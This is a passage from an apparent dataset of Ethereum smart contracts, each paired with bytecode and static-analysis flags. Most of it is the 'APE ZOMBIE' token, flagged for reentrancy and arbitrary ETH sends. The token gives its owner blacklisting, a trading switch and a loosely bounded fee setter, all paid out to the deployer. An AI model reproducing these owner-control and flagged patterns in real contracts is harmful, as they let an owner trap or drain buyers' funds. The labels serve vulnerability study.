911c9060101b5b6201000082106108775760109190911c9060081b5b610100821061088b5760089190911c9060041b5b6010821061089e5760049190911c9060021b5b600882106108aa5760011b5b60018185816108b557fe5b048201901c905060018185816108c757fe5b048201901c905060018185816108d957fe5b048201901c905060018185816108eb57fe5b048201901c905060018185816108fd57fe5b048201901c9050600181858161090f57fe5b048201901c9050600181858161092157fe5b048201901c9050600081858161093357fe5b0490508082106109435780610945565b815b93505050505b919050565b60006ec097ce7bc90715b34b9f100000000073ffffffffffffffffffffffffffffffffffffffff8516156109975761099061098961038e565b8290610775565b90506109ac565b6109a981670de0b6b3a7640000610775565b90505b73ffffffffffffffffffffffffffffffffffffffff8416156109dc576109d061038e565b81816109d857fe5b0490505b8281816109e557fe5b049594505050505056fea2646970667358221220f451137f5b8e750220ad11b0d08dbedbd640e245abbafa350e9edaa6c45f2dc964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,376
0xce051cf62a6abb1ce8257d102da6279ea2a4f7fc
/* Apocalypse, Survival and Ape In. ▄▄▄ ██▓███ ▓█████ ▒███████▒ ▒█████ ███▄ ▄███▓ ▄▄▄▄ ██▓▓█████ ▒████▄ ▓██░ ██▒▓█ ▀ ▒ ▒ ▒ ▄▀░▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ ▓██▒▓█ ▀ ▒██ ▀█▄ ▓██░ ██▓▒▒███ ░ ▒ ▄▀▒░ ▒██░ ██▒▓██ ▓██░▒██▒ ▄██▒██▒▒███ ░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓█ ▄ ▄▀▒ ░▒██ ██░▒██ ▒██ ▒██░█▀ ░██░▒▓█ ▄ ▓█ ▓██▒▒██▒ ░ ░░▒████▒ ▒███████▒░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓░██░░▒████▒ ▒▒ ▓▒█░▒▓▒░ ░ ░░░ ▒░ ░ ░▒▒ ▓░▒░▒░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒░▓ ░░ ▒░ ░ ▒ ▒▒ ░░▒ ░ ░ ░ ░ ░░▒ ▒ ░ ▒ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ One dark night at the lab of chemicals, at 4:20 p.m, a scientist named Elona wanted to make her ape the smartest creature on Earth. She kept experimenting until she had the potion. Her good friend helped Elona to finish her experiment. It took her years of endless effort to make this special portion. She forced her ape to drink the potion, and at once, its skin started to rip off. The ape’s eyes turned red. It started to bleed, and one of its eyes popped out. It ripped the lab coats, and then ran out of the lab. The APE was now a zombie and it is coming for you ! If we want to save the world, we need to turn the Ape zombie into a NFT collection. This project is designed to gather the power of everyone to save the world from this catastrophic apocalypse. We need all of you to ape innnnnnnnn~ Come and join us become the zombie warrior! https://t.me/apezombie https://ape-zombie.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEZ is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "APE ZOMBIE"; string private constant _symbol = "APEZ"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610575578063dd62ed3e14610595578063ea1644d5146105db578063f2fde38b146105fb57600080fd5b8063a2a957bb146104f0578063a9059cbb14610510578063bfd7928414610530578063c3c8cd801461056057600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104d057600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027e57806318160ddd146102b657806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024e57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b35565b61061b565b005b34801561021557600080fd5b5060408051808201909152600a815269415045205a4f4d42494560b01b60208201525b6040516102459190611bfa565b60405180910390f35b34801561025a57600080fd5b5061026e610269366004611c4f565b6106ba565b6040519015158152602001610245565b34801561028a57600080fd5b5060135461029e906001600160a01b031681565b6040516001600160a01b039091168152602001610245565b3480156102c257600080fd5b50670de0b6b3a76400005b604051908152602001610245565b3480156102e757600080fd5b5061026e6102f6366004611c7b565b6106d1565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610245565b34801561033957600080fd5b5060145461029e906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611cbc565b61073a565b34801561037957600080fd5b50610207610388366004611ce9565b610785565b34801561039957600080fd5b506102076107cd565b3480156103ae57600080fd5b506102cd6103bd366004611cbc565b6107fa565b3480156103ce57600080fd5b5061020761081c565b3480156103e357600080fd5b506102076103f2366004611d04565b610890565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611cbc565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029e565b34801561047957600080fd5b50610207610488366004611ce9565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600481526320a822ad60e11b6020820152610238565b3480156104dc57600080fd5b506102076104eb366004611d04565b610ae9565b3480156104fc57600080fd5b5061020761050b366004611d1d565b610b18565b34801561051c57600080fd5b5061026e61052b366004611c4f565b610b72565b34801561053c57600080fd5b5061026e61054b366004611cbc565b60106020526000908152604090205460ff1681565b34801561056c57600080fd5b50610207610b7f565b34801561058157600080fd5b50610207610590366004611d4f565b610bb5565b3480156105a157600080fd5b506102cd6105b0366004611dd3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e757600080fd5b506102076105f6366004611d04565b610c56565b34801561060757600080fd5b50610207610616366004611cbc565b610c85565b6000546001600160a01b0316331461064e5760405162461bcd60e51b815260040161064590611e0c565b60405180910390fd5b60005b81518110156106b65760016010600084848151811061067257610672611e41565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ae81611e6d565b915050610651565b5050565b60006106c7338484610d6f565b5060015b92915050565b60006106de848484610e93565b610730843361072b85604051806060016040528060288152602001611f85602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cf565b610d6f565b5060019392505050565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161064590611e0c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161064590611e0c565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ed57600080fd5b476107f781611409565b50565b6001600160a01b0381166000908152600260205260408120546106cb90611443565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161064590611e0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161064590611e0c565b6611c37937e0800081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064590611e0c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611e86565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611e86565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611e86565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064590611e0c565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064590611e0c565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064590611e0c565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c7338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107fa565b90506107f7816114c7565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064590611e0c565b60005b82811015610c50578160056000868685818110610c0157610c01611e41565b9050602002016020810190610c169190611cbc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611e6d565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064590611e0c565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064590611e0c565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610645565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610645565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610645565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610645565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610645565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610645565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156112c857601454600160a01b900460ff16611080576000546001600160a01b038481169116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610645565b6015548111156110d25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610645565b6001600160a01b03831660009081526010602052604090205460ff1615801561111457506001600160a01b03821660009081526010602052604090205460ff16155b61116c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610645565b6014546001600160a01b038381169116146111f1576016548161118e846107fa565b6111989190611ea3565b106111f15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610645565b60006111fc306107fa565b6017546015549192508210159082106112155760155491505b80801561122c5750601454600160a81b900460ff16155b801561124657506014546001600160a01b03868116911614155b801561125b5750601454600160b01b900460ff165b801561128057506001600160a01b03851660009081526005602052604090205460ff16155b80156112a557506001600160a01b03841660009081526005602052604090205460ff16155b156112c5576112b3826114c7565b4780156112c3576112c347611409565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130a57506001600160a01b03831660009081526005602052604090205460ff165b8061133c57506014546001600160a01b0385811691161480159061133c57506014546001600160a01b03848116911614155b15611349575060006113c3565b6014546001600160a01b03858116911614801561137457506013546001600160a01b03848116911614155b1561138657600854600c55600954600d555b6014546001600160a01b0384811691161480156113b157506013546001600160a01b03858116911614155b156113c357600a54600c55600b54600d555b610c5084848484611641565b600081848411156113f35760405162461bcd60e51b81526004016106459190611bfa565b5060006114008486611ebb565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b6573d6000803e3d6000fd5b60006006548211156114aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610645565b60006114b461166f565b90506114c08382611692565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150f5761150f611e41565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611e86565b8160018151811061159f5761159f611e41565b6001600160a01b0392831660209182029290920101526013546115c59130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe908590600090869030904290600401611ed2565b600060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164e5761164e6116d4565b611659848484611702565b80610c5057610c50600e54600c55600f54600d55565b600080600061167c6117f9565b909250905061168b8282611692565b9250505090565b60006114c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611839565b600c541580156116e45750600d54155b156116eb57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171487611867565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174690876118c4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117759086611906565b6001600160a01b03891660009081526002602052604090205561179781611965565b6117a184836119af565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006118148282611692565b82101561183057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361185a5760405162461bcd60e51b81526004016106459190611bfa565b5060006114008486611f43565b60008060008060008060008060006118848a600c54600d546119d3565b925092509250600061189461166f565b905060008060006118a78e878787611a28565b919e509c509a509598509396509194505050505091939550919395565b60006114c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cf565b6000806119138385611ea3565b9050838110156114c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610645565b600061196f61166f565b9050600061197d8383611a78565b3060009081526002602052604090205490915061199a9082611906565b30600090815260026020526040902055505050565b6006546119bc90836118c4565b6006556007546119cc9082611906565b6007555050565b60008080806119ed60646119e78989611a78565b90611692565b90506000611a0060646119e78a89611a78565b90506000611a1882611a128b866118c4565b906118c4565b9992985090965090945050505050565b6000808080611a378886611a78565b90506000611a458887611a78565b90506000611a538888611a78565b90506000611a6582611a1286866118c4565b939b939a50919850919650505050505050565b600082600003611a8a575060006106cb565b6000611a968385611f65565b905082611aa38583611f43565b146114c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610645565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b8035611b3081611b10565b919050565b60006020808385031215611b4857600080fd5b823567ffffffffffffffff80821115611b6057600080fd5b818501915085601f830112611b7457600080fd5b813581811115611b8657611b86611afa565b8060051b604051601f19603f83011681018181108582111715611bab57611bab611afa565b604052918252848201925083810185019188831115611bc957600080fd5b938501935b82851015611bee57611bdf85611b25565b84529385019392850192611bce565b98975050505050505050565b600060208083528351808285015260005b81811015611c2757858101830151858201604001528201611c0b565b81811115611c39576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6257600080fd5b8235611c6d81611b10565b946020939093013593505050565b600080600060608486031215611c9057600080fd5b8335611c9b81611b10565b92506020840135611cab81611b10565b929592945050506040919091013590565b600060208284031215611cce57600080fd5b81356114c081611b10565b80358015158114611b3057600080fd5b600060208284031215611cfb57600080fd5b6114c082611cd9565b600060208284031215611d1657600080fd5b5035919050565b60008060008060808587031215611d3357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6457600080fd5b833567ffffffffffffffff80821115611d7c57600080fd5b818601915086601f830112611d9057600080fd5b813581811115611d9f57600080fd5b8760208260051b8501011115611db457600080fd5b602092830195509350611dca9186019050611cd9565b90509250925092565b60008060408385031215611de657600080fd5b8235611df181611b10565b91506020830135611e0181611b10565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e7f57611e7f611e57565b5060010190565b600060208284031215611e9857600080fd5b81516114c081611b10565b60008219821115611eb657611eb6611e57565b500190565b600082821015611ecd57611ecd611e57565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f225784516001600160a01b031683529383019391830191600101611efd565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7f57611f7f611e57565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fe38d38a53d6e99d70d05d7199b39c31ea41a6a3591f2cb0355cb9cebacc41064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,377
0xf1ded284e891943b3e9c657d7fc376b86164ffc2
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title 